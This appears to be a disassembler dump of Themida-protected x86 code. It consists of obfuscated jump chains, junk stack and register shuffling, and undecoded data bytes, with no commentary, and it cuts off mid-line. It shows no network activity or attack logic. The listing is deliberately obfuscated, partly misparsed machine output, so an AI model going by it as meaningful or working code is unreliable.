loc_56D7E8: ; CODE XREF: Themida_:00562655j sub edx, ebx pop ebx pop eax xor [esp], edx xor edx, [esp] xor [esp], edx jmp loc_56A3DB ; --------------------------------------------------------------------------- dw 8F5Ch dd 2EE92404h, 81FFFFEEh, 770199C3h, 81C32934h, 770199EBh dd 2778E934h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56D816: ; CODE XREF: Themida_:00569221j push ebp mov ebp, 0A6CC8Eh push ebp push edx mov edx, 38FF1918h add [esp+4], edx pop edx push dword ptr [esp] pop edi add esp, 4 sub edi, 38FF1918h pop ebp jmp loc_567CFF ; --------------------------------------------------------------------------- loc_56D83B: ; CODE XREF: Themida_:0056C488j xchg ebp, [esp] jmp loc_55ED7D ; --------------------------------------------------------------------------- db 0FFh dd 34FF1C77h, 24048B24h, 226568h, 242C8900h, 63BE954h dd 0D8890000h, 205EBF5Bh, 0C7813C3Ch, 401855B2h, 0CB2CC781h dd 0C7319034h, 582434FFh, 4C481h, 0EE810000h, 4C6702A6h dd 7B06B850h, 0C9257CBDh, 3535C61Bh, 5D4D2367h, 0FF4D4CE9h dd 6AC281FFh, 5B3D6D60h, 75C56850h, 0E95846FCh, 0FFFFDF96h dd 0A71AE950h, 268FFFFh, 8B000000h, 0E9572434h, 3A91h ; --------------------------------------------------------------------------- loc_56D8BC: ; CODE XREF: Themida_:00572937j mov eax, [esp] add esp, 4 jmp loc_569CBC ; --------------------------------------------------------------------------- loc_56D8C7: ; CODE XREF: Themida_:0056A781j pop ebx add ecx, 1 add ecx, 0AFE6A003h add eax, ecx mov ecx, [esp] push eax jmp loc_55ED04 ; --------------------------------------------------------------------------- loc_56D8DF: ; CODE XREF: Themida_:00564B87j sub ebx, 8030C252h add esi, ebx pop ebx jmp loc_560842 ; --------------------------------------------------------------------------- loc_56D8ED: ; CODE XREF: Themida_:00565479j pop esi push esi push eax jmp loc_564500 ; --------------------------------------------------------------------------- loc_56D8F5: ; CODE XREF: Themida_:0056127Aj add edi, 0DD44B4Bh pop edx xor esi, edi pop edi mov ebx, esi push dword ptr [esp] pop esi push esi mov esi, esp jmp loc_5624AC ; --------------------------------------------------------------------------- db 81h, 0C7h, 88h dd 1FD9CF2h, 48B5FF9h, 4C48324h, 0FEFE93E9h db 0FFh ; --------------------------------------------------------------------------- loc_56D921: ; CODE XREF: Themida_:005645BDj and ecx, edx push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_5649DE ; --------------------------------------------------------------------------- loc_56D934: ; CODE XREF: Themida_:0057098Dj push 76265973h pop edx add edx, 61430BB6h sub edx, ebx sub edx, 61430BB6h pop ebx jmp loc_55FEF8 ; --------------------------------------------------------------------------- dw 0D988h dd 5B2434FFh, 4571E9h, 243C8B00h, 4C481h, 14870000h, 24248B24h dd 24048966h, 0FEF97CE9h, 0EA8166FFh, 8166219Fh, 660137C2h dd 0C281665Bh, 68667F96h, 8966164Bh, 6652240Ch, 663EAEBAh dd 8166D2F7h, 669E60F2h, 1BF6657h, 0BEE0E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56D9A2: ; CODE XREF: Themida_:0056D37Dj push 5B67h mov [esp], ecx push 1000h mov ecx, [esp] jmp loc_56EC10 ; --------------------------------------------------------------------------- loc_56D9B7: ; CODE XREF: Themida_:0056A182j shr esi, 4 jmp loc_5650B8 ; --------------------------------------------------------------------------- loc_56D9BF: ; CODE XREF: Themida_:0056F160j pop dword ptr [esp] jmp loc_567BA0 ; --------------------------------------------------------------------------- db 1 dd 24148BD5h, 81E18951h, 4C1h, 4C18300h, 0E9240C87h, 0FFFF8765h dd 4EC81h, 14890000h, 4BA24h, 0E9510000h, 4EC8h, 4C481h dd 0D4E90000h db 0Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56D9FF: ; CODE XREF: Themida_:0056E20Dj push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp push 7D94h jmp loc_5706CC ; --------------------------------------------------------------------------- db 8Fh dd 248B2404h, 0C8CE924h, 8F5F0000h, 248B2404h, 48B6624h dd 4F21E924h, 585A0000h, 241C8B66h, 81E18951h, 4C1h, 2C18100h dd 87000000h, 0C05C240Ch, 0E98002E1h, 0A12CF4h, 0A1B753C8h dd 0FF5BF800h, 81592434h, 4ECh, 24148900h, 6853E289h, 4 dd 8BDA015Bh, 2EE9241Ch, 50FFFFF5h, 8C53FFB8h, 0D8F74016h dd 953C00Dh, 5F23254Ah, 4054740h, 0E9BCBFA1h, 0FFFF7E27h dd 4EC81h, 11E90000h db 64h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56DA9F: ; CODE XREF: Themida_:0055EC2Fj add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp add al, 54h push small 5CC5h mov [esp], dx jmp loc_56030A ; --------------------------------------------------------------------------- db 81h dd 56968E7h, 0F7814F5Ch, 5EB17BD1h, 505FF921h, 405E089h dd 83000000h, 43304E8h, 2C02E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56DADE: ; CODE XREF: Themida_:0056B904j add eax, 0FFFFFFFFh not eax jmp loc_564DF8 ; --------------------------------------------------------------------------- dd 8E34EC2Ch, 0E958C130h, 0FFFF52B7h, 0E8C0A3B0h, 4EB65203h dd 24B15166h, 5966CE30h, 0FF479BE9h, 0D3295BFFh, 5BD9895Ah dd 0FF6231E9h, 0BD5557FFh, 2C6D73BBh, 4F97C581h, 53E904A3h dd 1FFFF97h, 0E3E95AD5h, 89FFFF2Ah, 2C682414h, 8900000Fh dd 25E92424h, 50FFFF4Eh, 0FF6E51E9h, 242C89FFh, 4F0BE9h dd 302D4000h, 0E90D9551h, 1E4Bh, 31241433h, 14332414h dd 24248B24h, 40BA52h, 0E9570000h, 0FFFFBEA5h, 0D388D888h dd 8058C288h, 0D00064EAh, 2CD2045Ah, 53E828C7h, 0E7C042B7h dd 0F6CFFE02h, 0FCE780DFh, 0FF01D5E9h, 81E789FFh, 4C7h dd 0C7E95600h db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56DBA3: ; CODE XREF: Themida_:0056F8B2j push ebp mov ebp, 4 add ebx, ebp jmp loc_56B608 ; --------------------------------------------------------------------------- loc_56DBB0: ; CODE XREF: Themida_:0056DD06j sub eax, 90160FFh jmp loc_570005 ; --------------------------------------------------------------------------- a_B0A db 'Ё_╠B0ы[─ц"',0 db 0CBh, 80h, 0EBh dd 0C8B6622h, 2C48124h, 0 dd 1DEB80EBh, 240C8B66h, 2C481h, 0B60F0000h, 87048FC0h dd 0FFBB19E9h db 0FFh ; --------------------------------------------------------------------------- loc_56DBED: ; CODE XREF: Themida_:00562A31j add edi, eax pop eax mov ebx, edi pop edi add edi, ebx push dword ptr [esp] jmp loc_5728A2 ; --------------------------------------------------------------------------- db 0F7h, 0D6h, 81h dd 2359D7E6h, 6E6C165h, 4EC834Eh, 11C2E9h, 4C48100h, 83000000h dd 2C8702EDh, 7A92E924h, 0D929FFFFh, 83241C8Bh, 0FF5104C4h dd 8B042474h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mov [esp], edx push eax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- db 81h, 0C5h, 4 dd 31AEAEF9h, 0BA525DEFh, 71036007h, 315AD731h, 243C8BF8h dd 0FF254CE9h, 665566FFh, 6657BFBDh, 4246C29h, 5E665D66h dd 0FFADC9E9h, 74EA81FFh, 21019D1Bh, 0E95A1C57h, 0FFFEF659h ; --------------------------------------------------------------------------- loc_56DC94: ; CODE XREF: Themida_:0056C835j add edi, 270A5B00h pop ecx add edi, 4 push edi push dword ptr [esp+4] mov edi, [esp] jmp loc_567DD8 ; --------------------------------------------------------------------------- db 8Bh dd 89662424h, 36E9240Ch db 0F6h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56DCB7: ; CODE XREF: Themida_:0056D615j mov ecx, 0AAEB886Eh sub eax, 657B18D7h add eax, ecx add eax, 657B18D7h jmp loc_564836 ; --------------------------------------------------------------------------- align 2 dw 59C8h dd 4EC81h, 1C890000h, 6EB05024h, 8904EC83h, 0C2882414h dd 0D2E9D388h, 5FFFFFC0h, 0E9240C87h, 0FFFF29D5h ; --------------------------------------------------------------------------- loc_56DCF4: ; CODE XREF: Themida_:0055F06Dj mov [esp], ebp xchg ebx, [esp] not ebx xchg ebx, [esp] pop ebp xor ebp, 0E2CD37F9h jmp loc_56DBB0 ; --------------------------------------------------------------------------- db 81h dd 31E89C1h, 99C18164h, 5A2D2E2Eh, 0D589E956h, 0BE56FFFFh dd 50181B28h, 0E95EF029h, 0FFFF7F24h ; --------------------------------------------------------------------------- loc_56DD2C: ; CODE XREF: Themida_:0055E6FAj push eax jmp loc_564DDC ; --------------------------------------------------------------------------- dw 5F54h dd 4C781h, 94E90000h, 66FFFF91h, 9C240421h, 0FEF5A4E9h dd 1FC068FFh, 14890000h, 24F4E924h, 5D5F0000h, 7DE9F801h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56DD5F: ; CODE XREF: Themida_:0055E108j pop ebx mov ebp, [esp] add esp, 4 jmp loc_56B897 ; --------------------------------------------------------------------------- db 5Fh dd 63F9CF81h, 0E94F546Eh, 0FFFF0F60h, 0DD1AC1BEh, 0E9D6F73Dh dd 0BB5h ; --------------------------------------------------------------------------- loc_56DD84: ; CODE XREF: Themida_:0056CF75j mov ebp, 454C7F6Ah jmp loc_56B019 ; --------------------------------------------------------------------------- loc_56DD8E: ; CODE XREF: Themida_:00563916j sub ebx, 4 xchg ebx, [esp] jmp loc_56234D ; --------------------------------------------------------------------------- dd 9A6C581h, 0BB53103Dh, 5DAB6DB7h, 815BDD01h, 0ABA96DC5h dd 4C3CE965h, 335EFFFFh, 2C31242Ch, 242C3324h, 441EE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_56DDC6: ; CODE XREF: Themida_:00565336j pop edi xchg edx, [esp] jmp loc_5660EE ; --------------------------------------------------------------------------- db 89h dd 4BB53E0h, 1000000h, 0E9515BD8h, 0FFFFC740h, 4C181h dd 7AE90000h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56DDEB: ; CODE XREF: Themida_:00568B61j pop ebp xor eax, 6E323D85h jmp loc_56B4A2 ; --------------------------------------------------------------------------- dw 815Bh dd 4C4h, 5DEE0100h, 8704C683h, 248B2434h, 4EC8324h, 0BE243489h dd 8412D84h, 0F708E6C1h, 0CCE951D6h, 57FFFF6Dh, 25C9BB53h dd 0DBF76707h, 60C8BF57h, 0FB315C1Ah, 0A865E95Fh, 0C481FFFFh dd 4, 2827EA81h, 0C281584Fh, 4DDE5839h, 3F47C181h, 0C1817771h dd 76882823h, 0E981D101h, 76882823h, 454CE9h, 5EF70100h dd 336BE9h, 24048B00h, 5E08950h, 4, 0FFE980E9h db 0FFh ; --------------------------------------------------------------------------- loc_56DE79: ; CODE XREF: Themida_:0056A1AFj push ebx mov ebx, 561F58F4h neg ebx shr ebx, 1 jmp loc_569D82 ; --------------------------------------------------------------------------- dd 1B5371BBh, 5BD80163h, 0FF3CC2E9h, 0BB535DFFh, 4, 515BDD01h dd 4BD55h, 0E5E90000h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56DEAB: ; CODE XREF: Themida_:00570B2Ej sub edx, 4528760Dh pop edi xor edx, [esp] jmp loc_56143C ; --------------------------------------------------------------------------- dw 0F930h dd 4A58E95Bh, 48BFFFFh, 4C48124h, 52000000h, 0DBDE9h, 48F5B00h dd 239EE924h, 0B753FFFFh, 13C78087h, 0E945B551h, 0FFFFE879h ; --------------------------------------------------------------------------- loc_56DEE8: ; CODE XREF: Themida_:00564B4Ej mov cl, 49h sub cl, 7 sub cl, 0D9h push 2E13h mov [esp], eax mov ah, 0BCh shr ah, 7 not ah jmp loc_56C847 ; --------------------------------------------------------------------------- dd 0DDE9E901h db 14h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56DF0B: ; CODE XREF: Themida_:00571C2Bj mov [esp], ebp push 4DD732A0h mov ebp, [esp] add esp, 4 or ebp, 56333CF3h add ebp, 1 not ebp push edi push esi mov esi, 0DB01D98Dh mov edi, esi jmp loc_566AF7 ; --------------------------------------------------------------------------- db 81h, 0E7h, 29h dd 0E91AD100h, 1C5Fh ; --------------------------------------------------------------------------- loc_56DF40: ; CODE XREF: Themida_:005626B6j push edx jmp loc_564DAC ; --------------------------------------------------------------------------- dw 34B3h dd 8858E330h, 8FE95BD9h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56DF53: ; CODE XREF: Themida_:005706B1j add esp, 4 jmp loc_56FBF3 ; --------------------------------------------------------------------------- dw 0C889h dd 0E9C60159h, 41B1h, 50243C8Bh, 0D5E9E089h, 5E000028h dd 24348155h, 202B7A80h, 80F7815Fh, 5D202B7Ah, 53E9FB01h db 67h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56DF8B: ; CODE XREF: Themida_:005666FEj sub eax, 3289031Bh sub eax, 0E4342E7h sub eax, 0C31D2BCCh add ebp, eax pop eax xchg ebp, [esp] pop esp add bl, 4Eh push ecx mov cl, 0A4h add bl, 7Ch add bl, 0E0h jmp loc_55D3D1 ; --------------------------------------------------------------------------- dw 8B66h dd 4268240Ch, 89000076h, 0E789243Ch, 4C781h, 0B8500000h dd 765A49A5h, 0FFDBA2E9h, 77E981FFh, 2903933Bh, 77C181D1h dd 5A03933Bh, 0C8BCD01h, 51E95524h db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56DFEB: ; CODE XREF: Themida_:0056EE6Bj mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_566108 ; --------------------------------------------------------------------------- db 58h dd 4EC81h, 14890000h, 16685124h, 0E96A5361h, 0FFFF92E7h dd 5FE9515Eh, 2CFFFFB5h, 6FD9E96Bh, 0CD81FFFFh, 281C5059h dd 2FC6F581h, 0B9512688h, 599105DCh, 8108E9C1h, 4A0DC8F1h dd 2E9C15Fh, 0B22AF181h, 0CD290B72h, 0FF8228E9h, 240489FFh dd 0FFA7C4E9h db 0FFh ; --------------------------------------------------------------------------- loc_56E05D: ; CODE XREF: Themida_:0056577Dj ror word ptr [esp], cl pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- db 81h dd 4ECh, 349EE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E072: ; CODE XREF: Themida_:00569C63j pop dword ptr [esp] pop esp mov [esp], ebx mov ebx, esp jmp loc_563910 ; --------------------------------------------------------------------------- dd 0EA814242h, 3CE55387h, 7890E94Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E08E: ; CODE XREF: Themida_:0055E066j add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub bl, al sub bl, 0A4h sub bl, 4Eh add bl, 74h push ebp push esi push 563F01ABh jmp loc_56EE1D ; --------------------------------------------------------------------------- db 0F7h dd 2492E9D1h, 2C89FFFFh, 0BD685524h, 89000042h, 0BD552424h dd 4, 0FF9A16E9h, 543B68FFh, 34890000h, 0BA525124h, 1510982h dd 2772C3B9h, 6A2AE90Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E0EA: ; CODE XREF: Themida_:00568B45j pop eax add eax, 4 push ebp mov ebp, 4 add eax, ebp mov ebp, [esp] add esp, 4 jmp loc_56D119 ; --------------------------------------------------------------------------- db 0F7h dd 0FFC281D2h, 42FFFFFFh, 9058EA81h, 0D3897F36h, 0C48E9h dd 4C28300h, 5C241487h, 0FEFB9BE9h db 0FFh ; --------------------------------------------------------------------------- loc_56E125: ; CODE XREF: Themida_:00562086j xchg ebp, [esp] pop esp jmp loc_56876F ; --------------------------------------------------------------------------- dw 2489h dd 0D1B95124h, 0E9633065h, 0FFFF6FBBh, 0EC81512Ch, 4, 0B5240C89h dd 0DDE58069h, 0FF381BE9h db 0FFh ; --------------------------------------------------------------------------- loc_56E151: ; CODE XREF: Themida_:0055E6DDj shr ecx, 7 add ecx, 0FF0AD137h jmp loc_5668D1 ; --------------------------------------------------------------------------- loc_56E15F: ; CODE XREF: Themida_:00563EC9j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], edx sub esp, 4 mov [esp], edi mov edi, ebx push 3BE4h jmp loc_55DFD8 ; --------------------------------------------------------------------------- loc_56E192: ; CODE XREF: Themida_:0056EAE6j bts [esp], ax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56E19D: ; CODE XREF: Themida_:00567604j add esi, 4 jmp loc_55D31E ; --------------------------------------------------------------------------- loc_56E1A8: ; CODE XREF: Themida_:0056213Aj sub edx, ecx add edx, 5A877A1h mov ecx, [esp] jmp loc_55FBBA ; --------------------------------------------------------------------------- dd 4C481h, 0C6830000h, 24348704h, 0FFEC6EE9h db 0FFh ; --------------------------------------------------------------------------- loc_56E1C9: ; CODE XREF: Themida_:00571D42j not ecx xchg ecx, edi jmp loc_560AB7 ; --------------------------------------------------------------------------- dw 0BD55h dd 4, 3A13C281h, 0EA812516h, 4F7D3462h, 25E9EA29h db 37h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E1EB: ; CODE XREF: Themida_:0056F538j dec ebp not ebp shl ebp, 7 inc ebp add ebp, 8893DB03h jmp loc_55E75F ; --------------------------------------------------------------------------- loc_56E1FD: ; CODE XREF: Themida_:0055D596j push esi jmp loc_571454 ; --------------------------------------------------------------------------- loc_56E203: ; CODE XREF: Themida_:00568F4Ej push esp pop eax add eax, 4 add eax, 4 jmp loc_56D9FF ; --------------------------------------------------------------------------- dw 8B66h dd 0EC81240Ch, 4, 54242C89h, 83242C8Bh, 0BE5604C4h, 0A053C89h dd 2964BF57h, 0EF810AE4h, 0BF658CAh, 9415EF81h, 0FE29F4E8h dd 69ED815Fh, 10EE56Fh, 69C581F5h, 5E0EE56Fh, 0FF2B6BE9h dd 242C89FFh, 68525D54h, 891h, 0BB241C89h, 41A61E73h, 277FE9h dd 2414F700h, 1754E9h, 0F7FD8700h, 81FD87D7h, 8CBA1CEDh dd 0CEEB819Eh, 57462144h, 0E2377EBFh, 69E78159h, 8170D573h dd 0A32A1EF7h, 0E9FB0140h, 0BDh, 5D801h, 0E958E82Ah, 0FFFEF24Fh dd 815DEB29h, 2144CEC3h, 242C8B46h, 81E18951h, 4C1h, 4B85000h dd 1000000h, 982AE9C1h, 5BFFFFh, 0E9CE2CD0h, 0FFFFC935h dd 0DEF7EED1h, 0D180C681h, 0F22138EEh, 828BE95Eh, 0C183FFFFh dd 9CE981FFh, 0E91F1752h, 0FFFFFC66h, 0E9C0DCB1h, 6E1C006h dd 0E901E980h, 0FFFF15F2h, 5324248Bh, 4EC81h, 14890000h dd 88C68824h, 2434FFF3h, 0E289525Ah, 4B951h, 0EA810000h dd 4F5201B6h, 0FEF212E9h, 240C8BFFh, 81E28952h, 4C2h, 4C28100h dd 52000000h, 42474FFh, 24048F5Ah, 5724248Bh, 158868h dd 24048900h, 0FF4F44E9h, 0EB015FFFh, 0D7EFE955h, 0DBF7FFFFh dd 0E956D3F7h, 0FFFF0B1Ah, 8351E9B2h, 53E904ECh, 87000029h dd 87D7F7FDh, 0A1F581FDh, 1F137FDh, 83595DEBh, 1C8904ECh dd 2474FF24h, 0FB37E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E39A: ; CODE XREF: Themida_:005683CAj pop edx sub dword ptr [esp+4], 5BD55E20h push ecx mov ecx, 71E705C9h sub dword ptr [esp+8], 0FAA0016h add [esp+8], ecx add dword ptr [esp+8], 0FAA0016h jmp loc_568286 ; --------------------------------------------------------------------------- dw 315Fh dd 0BE565EF0h, 6747A630h, 348BF029h, 8FD3E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E3D6: ; CODE XREF: Themida_:0056BD13j push edi jmp loc_565996 ; --------------------------------------------------------------------------- dd 16EB850h, 0E0C17351h, 13F23503h, 0C331FFF7h, 7EBC158h dd 4026E94Bh, 51ADFFFFh, 2328BE56h, 45B91DDFh, 810E3140h dd 130ABBC1h, 0E9F10132h, 0FFFF8CDBh, 301FE95Ch, 0C281FFFFh dd 4, 8704C283h, 555C2414h, 0FFBAC9E9h, 0E95B54FFh, 0FFFFA786h ; --------------------------------------------------------------------------- loc_56E430: ; CODE XREF: Themida_:005657F3j sub dword ptr [esp+4], 45B04FB4h sub dword ptr [esp+4], 31B10174h jmp loc_572356 ; --------------------------------------------------------------------------- db 58h, 0E9h, 0FDh dd 83FFFF2Ah, 5D042404h, 4BE56h, 0F5010000h, 3456685Eh dd 4890000h, 0B8505524h, 47A66E27h, 2504E0C1h, 6CF80ACAh dd 0FD35D0F7h, 52EBC9FCh, 0D589C289h, 0F581585Ah, 362249B4h dd 5302E5C1h, 272C9BBBh, 5BDD3147h, 0FFB145E9h, 3E9C1FFh dd 0AECE9h, 241C8900h, 7F5068h, 0B16800h, 2BE90000h, 89FFFFC7h dd 0EC83243Ch, 240C8904h, 0FF172CE9h, 2434FFFFh, 0FFC9F3E9h dd 24148BFFh, 4C481h, 59580000h, 1C8BFD08h, 52B36824h dd 0DE90000h, 0BAFFFFC0h, 13BF6A77h, 0FF74CEE9h, 1C875AFFh dd 24248B24h, 5EE68h, 240C8900h, 0B9h, 4EBE5600h, 81628971h dd 0C80820F6h, 8E6EE937h, 0FA01FFFFh, 9168565Fh, 5E756D79h dd 0A6DB951h, 72E900B5h, 28FFFFFFh, 449D68C3h, 14890000h dd 40B45024h, 0D058E288h, 0B15166E2h, 0A3BDE941h, 9FB5FFFFh dd 0C8BEF00h, 4EC8324h, 0DF3E9h db 0 ; --------------------------------------------------------------------------- loc_56E54D: ; CODE XREF: Themida_:00563A62j neg esi or esi, 1E2622A6h add esi, 880809h add edx, esi mov esi, [esp] add esp, 4 push ecx push edi mov edi, 77A3473Fh push edi pop ecx pop edi shr ecx, 6 push edx mov edx, 74580C41h neg edx jmp loc_5604E9 ; --------------------------------------------------------------------------- loc_56E580: ; CODE XREF: Themida_:0056C4C0j mov esi, edx pop edx sub esi, 3E701BB5h xor esi, 0E799DF08h jmp loc_56FF0B ; --------------------------------------------------------------------------- dd 0E903EFC1h, 3C8Bh, 865BDE88h, 30C186F0h, 30D930CBh dd 0EC8351CBh, 24148904h, 3468DE88h, 8900004Eh, 0F388241Ch dd 0E9E9D988h, 83FFFFC3h, 2C8904ECh, 4CFCBD24h, 0E58149D1h dd 27F01C1Bh, 0E27B850h, 0C58113A5h, 26254DC6h, 3B91E9h dd 24248B00h, 0F9A7E955h, 0BF57FFFEh, 4, 0F0E9F901h, 83FFFFF6h dd 6CE901EEh, 88000036h, 0E9525AF0h, 50Fh, 4B50C381h, 0E94323EFh dd 0FFFFAC96h, 0E924148Bh, 0FFFF6AF6h, 0D003E1C0h, 0C0D9F6E1h dd 0F18008E9h, 0C0E980C4h, 0C180E128h, 0E1C058C0h, 0FBC98007h dd 0FE46E180h, 7E9C0C1h, 0F6D1C180h, 41C180D9h, 0FE7DB753h dd 0E9CFFEC7h, 144Ah ; --------------------------------------------------------------------------- loc_56E658: ; CODE XREF: Themida_:00561F8Cj push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 add esp, 4 push ecx mov ecx, 972B1916h push edx mov edx, 78807878h jmp loc_566909 ; --------------------------------------------------------------------------- db 5Dh, 87h, 34h dd 0D7F75C24h, 8306EFC1h, 7C6801EFh, 89000072h, 83B82404h dd 0E915FE7Ah, 3B2Ah, 5B45C3B8h, 1AE8353Ch, 0C5010126h dd 586DE958h, 0C481FFFFh, 4, 8B2434FFh, 62682404h, 8900005Ch dd 0F4E92414h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56E6C3: ; CODE XREF: Themida_:00571679j mov [esp], edx jmp loc_55DEE3 ; --------------------------------------------------------------------------- loc_56E6CB: ; CODE XREF: Themida_:00571FA7j mov ebp, 40C84C97h not ebp sub ebp, 5D3799FAh jmp loc_570AC5 ; --------------------------------------------------------------------------- db 81h, 0EFh, 0E2h dd 56248F47h, 0F646BBBEh, 0BCE8168h, 817AF333h, 0F0AB3EC6h dd 5EF7019Ch, 5B2434FFh, 0E9E28952h, 0FFFEF225h, 0E9243C8Bh dd 0FFFF5B5Fh, 3020C280h, 0E8305AD5h, 83240C8Bh, 0E95004C4h dd 0FFFFAF75h, 5E0C158h, 0EC6EDD35h, 7E550D0Dh, 0EC814A8Fh dd 4, 0BB241C89h, 5AD36CAFh, 0D611F381h, 0D829C8A3h, 0FF47EDE9h dd 81FA01FFh, 0FC75C5EAh, 9FC28146h, 0FF42AB6Ch, 815F2434h dd 4C4h, 24148700h, 0AEB0E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E76A: ; CODE XREF: Themida_:00569352j add edx, 4 jmp loc_5729EC ; --------------------------------------------------------------------------- loc_56E775: ; CODE XREF: Themida_:0056C7E0j pop esp push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_55D8CA ; --------------------------------------------------------------------------- loc_56E787: ; CODE XREF: Themida_:005609A3j mov esi, [esp] add esp, 4 loc_56E78D: ; CODE XREF: Themida_:0057120Cj push 46C4h jmp loc_566D4E ; --------------------------------------------------------------------------- db 58h dd 0C781CF01h, 60DD1DD9h, 32BEE9h, 4C48100h, 5000000h dd 4, 81E28952h, 4C2h, 4EA8300h, 0FF0DB2E9h, 575551FFh dd 65D1B951h, 0E1C127B5h, 866FE905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E7D2: ; CODE XREF: Themida_:00571E6Cj mov ebp, 3F3B000Dh add [esp+8], ebp pop ebp jmp loc_56839C ; --------------------------------------------------------------------------- db 66h, 5Fh, 66h dd 0E906EAC1h, 0FFFF6E64h, 7DC3815Ch, 11FBC5Ah, 4EC83C3h dd 57240489h, 0A4490E68h, 0F7815F41h, 24973A30h, 575FF889h dd 22956BFh, 81EFD137h, 9F9E2DEFh, 4756E9F8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E81E: ; CODE XREF: Themida_:005701C5j pop ebp jmp loc_564AA5 ; --------------------------------------------------------------------------- dd 880E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E82A: ; CODE XREF: Themida_:0056704Cj pop edx add esp, 4 jmp loc_55DA9C ; --------------------------------------------------------------------------- loc_56E833: ; CODE XREF: Themida_:005729F0j push dword ptr [esp+4] mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_56D371 ; --------------------------------------------------------------------------- db 29h, 0C6h, 58h dd 0C681FE01h, 63F63B8Dh, 2A6C681h, 91E94C67h, 0FF000026h dd 815E2434h, 4C4h, 0EA7BE900h, 555AFFFEh, 385326BDh, 0F7E95561h dd 89FFFF7Bh, 4C581E5h, 83000000h, 2C8704EDh, 14895C24h dd 81E28924h, 4C2h, 0F934E900h, 0E95EFFFFh, 170Eh ; --------------------------------------------------------------------------- loc_56E8A4: ; CODE XREF: Themida_:0055D61Cj push edi xchg ebp, [esp] not ebp xchg ebp, [esp] pop edi push esi mov esi, 54D71925h jmp loc_562548 ; --------------------------------------------------------------------------- db 89h, 0EAh, 5Dh dd 0FF78FEE9h, 0E78957FFh, 4C781h, 0C7830000h, 243C3304h dd 33243C31h, 505C243Ch, 4B8h, 7DEA8100h, 12E354Ch, 85E951C2h dd 81FFFF24h, 8B737FC7h, 0E5C78135h, 107327Bh, 0E5EF81D7h dd 8107327Bh, 8B737FEFh, 0BD555A35h, 69BE2F74h, 0FFF48BE9h dd 5DE889FFh, 3E0C148h, 2DFFE883h, 0F4ACB22h, 441AED81h dd 0C5295F2Ch, 441AC581h, 89585F2Ch, 2434FFE8h, 0FFC25BE9h dd 75CE81FFh, 5330481Fh, 4513DABBh, 43DBF77Ah, 0EB81D3F7h dd 137E7116h, 87A7C381h, 0DE09F6FBh, 0BE94E5Bh, 0C1FFFFAAh dd 0BE5604E0h, 4A355857h, 0E95EF029h, 0FFFF04F4h, 8124248Bh dd 4C3h, 241C8700h, 2924248Bh, 0E99C2404h, 392Eh ; --------------------------------------------------------------------------- loc_56E988: ; CODE XREF: Themida_:005642FDj add esp, 4 push ecx push 7372h mov [esp], ebp mov ebp, 8FF3CCAh jmp loc_570C56 ; --------------------------------------------------------------------------- db 0BDh, 4, 0 dd 0C1810000h, 5E7967C9h, 6850E901h, 468B6D9Dh, 0D74FE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56E9BA: ; CODE XREF: Themida_:0056555Bj push eax mov eax, 0B984069h add eax, 24B95860h inc eax and eax, 41072A92h jmp loc_55F8BA ; --------------------------------------------------------------------------- dd 159CD31h, 0E7D15DEFh, 2CCAEF81h, 0F781AC3Bh, 156E7718h dd 0FEF530E9h, 8E5C1FFh, 6C75E581h, 0F58161F8h, 50435D76h dd 0FFF8AFE9h, 81C329FFh, 4C5C30C3h, 24048B31h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_56AC3A ; --------------------------------------------------------------------------- loc_56EA10: ; CODE XREF: Themida_:005701CBj push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_5645CD ; --------------------------------------------------------------------------- db 59h dd 0FF04C2E9h, 5AD389FFh, 6824048Bh, 78DBh, 0FF5C8DE9h dd 4C483FFh, 0FF8C27E9h db 0FFh ; --------------------------------------------------------------------------- loc_56EA3D: ; CODE XREF: Themida_:00568C4Bj push ebp jmp loc_56CF42 ; --------------------------------------------------------------------------- loc_56EA43: ; CODE 